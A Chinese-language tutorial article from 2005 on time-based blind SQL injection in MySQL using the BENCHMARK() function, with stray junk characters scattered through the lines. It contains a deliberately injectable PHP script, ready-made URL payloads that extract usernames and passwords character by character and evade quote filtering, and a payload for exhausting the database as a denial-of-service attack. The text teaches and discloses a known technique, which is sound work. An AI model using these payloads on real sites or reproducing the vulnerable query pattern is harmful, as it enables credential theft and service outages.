MYSQL中BENCHMARK函数的利用
$ n$ V/ Y" p- Z7 m9 [& M本文作者:SuperHei1 [% m8 R: d6 t& `8 Q ~2 M
文章性质:原创: a' |) p; t% Y( _! @
发布日期:2005-01-02
) f5 O% N4 p( t6 V/ M- G H& z完成日期:2004-07-09
5 Y- ~# V( U: g% ~& }第一部9 F3 t) y2 e, H7 |/ R N; {" y
) \- ?* D" s! P5 s3 `9 B( e利用时间推延进行注射---BENCHMARK函数在注射中的利用 & |9 T7 g% H0 _6 g! R
( v- Z8 E8 C5 U5 e3 h4 h% {
一.前言/思路
8 n6 C* |/ V7 C+ f" R6 t# M& d. _' ^# V+ Y
如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
Y1 O+ N: N8 S, a( S% O- T) g" j7 T* k9 g; s, K6 z0 T
本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。7 q5 r& {! E; @, D5 s% G
- E7 ^2 L2 |7 h9 C9 u# Y: A二.关于BENCHMARK函数' Q2 L* N' z, [5 X% L& h/ K8 F
* f* Z8 ?. ~5 k2 T
在MySQL参考手册里可以看到如下描叙: , e) a2 c7 o, \5 K' l( O
7 C5 K T. w% W# j! b" _) ?" D
* I' `2 G& X* G; I# T
--------------------------------------------------------------------------------+ c/ q* \1 t6 O; _9 }
2 B, _* j2 T, M" R4 L; [, L- [2 ]
BENCHMARK(count,expr)
# F+ L+ t7 I2 W, \BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 , x9 v3 N' m" J6 Q h
mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
( a f3 K# b( W ~/ b4 g: G- u; ^+----------------------------------------------+ # q, R# Q* q- Q3 m- [( `" C
| BENCHMARK(1000000,encode("hello","goodbye")) | & t$ f# H7 J% X, |- A( i$ a
+----------------------------------------------+
2 ?/ l! z; G% Y0 i2 z| 0 | 0 [! H+ B( ^# g
+----------------------------------------------+
6 l5 g" x# |5 U3 ]% s$ P1 row in set (4.74 sec) 5 e! H5 d0 ~% O
+ L) A1 \0 A; S2 ~$ }5 {/ `" l4 N+ M
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。1 ^6 @( P5 v# N' Q$ {& _, G
1 `$ n& P5 h1 h
( X1 |9 ?2 |% R R# u--------------------------------------------------------------------------------
r& R' A& f4 H+ h
8 \* Z {) G" W4 r9 d: i% _) ^ 只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
, }: ?, a1 d4 o N- n
5 g6 Y% k$ i5 g }# V: M- Dmysql> select md5( 'test' );
. j' V. g( j) x+----------------------------------+ 3 L- i6 Y; s9 V1 ^$ D9 y3 N) R4 s* w
| md5( 'test' ) |
- E9 S: Y3 I S. b; S8 U+----------------------------------+
) _7 u+ r. X8 U1 i! b/ D| 098f6bcd4621d373cade4e832627b4f6 | 3 f% h( A! c- C; \# s
+----------------------------------+ ) B2 W6 M5 d8 k1 l+ S% b# q' G
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec 2 s: t% O0 M2 k( N% L
' s$ s) B/ ?' x
mysql> select benchmark( 500000, md5( 'test' ) ); ( o c, v4 j R; ?
+------------------------------------+
( w' z) D+ [6 ~5 ]% U* u9 _: w| benchmark( 500000, md5( 'test' ) ) |
; Y7 }5 S* _ T' S4 r1 i+------------------------------------+ 5 L7 Z3 N& U% `5 |2 P; m" v# S& r
| 0 |
& i! W! C" f$ S6 \+------------------------------------+
8 `; R, _" M& A+ T) S1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
% D. U2 b3 _1 m* M. O, | ( {$ V6 {5 P3 \/ F7 y' F3 w
r: I: I) j/ U8 a 由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
+ h, u% `% S) ?8 D. B$ X% n8 Y% X& r% s0 s2 y8 p
三.具体例子1 S6 O# [( r7 M! s. C& y
- o* Z# ?# z( [
首先我们看个简单的php代码:6 j8 o$ W3 U* ]
" p+ U& i- o" i1 z) A$ s$ P( a4 \< ?php 0 f! t$ [5 g. m" B6 V
$servername = "localhost";
) ^- ?" X- h/ n- X$dbusername = "root"; " j1 q$ O$ W- l
$dbpassword = ""; % V' m/ c+ m( y9 K& J
$dbname = "injection"; - V; L- B$ c7 w. h6 f- R( S
$ l! y9 H1 Q8 H2 ~- u; @; s. Q
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); B. [* n4 `- z& ~# s+ R
+ V% B& g/ M5 \
$sql = "SELECT * FROM article WHERE articleid=$id";
V% ?/ O1 K3 v+ W- j$result = mysql_db_query($dbname,$sql);
1 f# |4 i+ _, u! ?' A$row = mysql_fetch_array($result);
z( H/ N) C8 n7 Q2 E7 w
3 b$ N1 R: d5 T) `+ G/ H# kif (!$row) 4 }/ s8 I$ \5 A4 r9 o) w: Q0 r
{ r: T- V. n3 I4 n) @& }
exit; ) A, E( Q* R) j
}
1 A/ V6 N8 p$ n; a! L0 E/ ??>2 I; ^; X0 a) z. {
& S5 S; p9 w* C' t
/ z9 x/ U% } v# @ 数据库injection结构和内容如下:
2 x K$ r) R& s
( u: G' V/ Q0 K0 j, V4 m. t# 数据库 : `injection` + ?+ ]; c- e' o$ B0 H$ N! ?: }
#
' {# ?( g5 l- S! [+ A/ `
: r) y* Q/ @1 V$ V3 N: `# --------------------------------------------------------
0 Z& _( J+ n" z+ Y, I! B8 q3 h! q) V
#
# m/ e- m9 `. x( w" Q# 表的结构 `article` 4 B0 E \& Y- A" [2 y
#
6 D3 l4 E+ e7 k& E: s* z
: ^! i J: T* m$ M" c% z3 k8 Z& f+ HCREATE TABLE `article` ( Y. a K" H7 l z+ B9 L
`articleid` int(11) NOT NULL auto_increment,
# ]) G' x2 d$ R+ F5 M4 b2 e`title` varchar(100) NOT NULL default '', ) P7 W6 d$ A! @! y8 J' w7 \
`content` text NOT NULL,
- D& v- d9 f6 I( q APRIMARY KEY (`articleid`)
; \% l: x& m& Q& P8 s# i) TYPE=MyISAM AUTO_INCREMENT=3 ; 0 j. q9 `3 H9 k, e
; M% P) _3 u5 r* T& ~# 5 N1 h4 u. ?5 d6 |
# 导出表中的数据 `article` & A4 Y) v3 b, I
# 5 {- T6 ]/ w0 v1 ]6 Q7 A; L
" w& Y2 {7 T, y& D$ f) {' ?2 C4 u
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
" A9 X. E2 E- [9 S$ H9 {INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); ' F) i! t* A" F9 |9 N
# L, A3 Y* ^" F4 ~7 G4 N
# --------------------------------------------------------
/ F. C# g0 p+ L0 D- q( Z+ U, a) a' k U$ T! V1 f
#
# B) Z. L8 Y7 l# 表的结构 `user` 9 b( m' b& ]0 Y" k$ E& g& J# U
# : ~: r; g; T! d/ X
% I q! @" h$ o
CREATE TABLE `user` (
! {1 v& C! t3 x# V8 s, D`userid` int(11) NOT NULL auto_increment, 0 p ~0 M7 J8 X& r0 w* S
`username` varchar(20) NOT NULL default '', 7 C% V, s Y1 D( D+ {
`password` varchar(20) NOT NULL default '', 6 F, A2 {" u: p5 S; R! |
PRIMARY KEY (`userid`) 1 E' o' @8 u. ?, {$ E# C- d
) TYPE=MyISAM AUTO_INCREMENT=3 ;
" ~8 [6 @+ M9 _% f3 H* q$ K% ? p# `9 w& F0 P5 ]6 e0 X3 z0 y% m
# 8 L8 s3 w* J. A& x
# 导出表中的数据 `user` ; C" r J2 X+ [ ~8 B
#
, ~5 l* N, H( \6 C& N9 a/ e0 M5 W8 s6 `3 u- R$ @# S" G/ O2 `
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
" z4 m! H/ |$ J9 q4 E! JINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');; d6 N, X$ X( F% n# C
0 i1 ]& G9 C) Q6 J* K- o$ w
5 Q; F. _ [0 e1 e5 o 代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:: s, G- _$ _: \
* e+ R/ t1 b, o0 Y1 x' u1 Lid=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
& B, V# n6 N: v! h$ k* R B
% p2 I* i. {9 r5 R0 f; ]# w# t8 i. H- Z. R8 G9 r
上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
6 }( F% U/ e5 S+ W* e7 H. {& P0 [" }8 D, x0 g
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*3 l7 {+ R' h& n& @
& o& k B' V$ r% a/ g, l
3 s- \4 {8 Z3 r' S/ Q$ y# X 执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
+ {0 {4 c. V: r; o/ m- W t# w. A2 N& E! [8 b' ]* z
注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 ) j, a( ^: a% A
4 G) Q) \" @: i+ _$ Z第二部
& T( F- `# ?7 t% i
( W. _. e* {3 S) r% U: v利用BENCHMARK函数进行ddos攻击 ; x# a/ E4 K" z6 ^/ u% z7 B
( U6 j4 ?5 X# [2 P* U3 @
其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:+ E; w& ~6 S+ m. y/ u# I) s& Q
; r R9 W) l1 C0 Xhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))7 S1 v$ Z3 n. ?! s
7 \2 |+ k* q5 S- P
: ~4 w' F4 p7 {" V$ R" u) s小结+ |. ?5 [0 O2 D( V3 a
# o& L9 J/ C. ~ {! y" [
本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。: J6 p* v5 q. s
4 ?3 b9 x: r* f, m, f 2 k; q9 `" F' W' T
|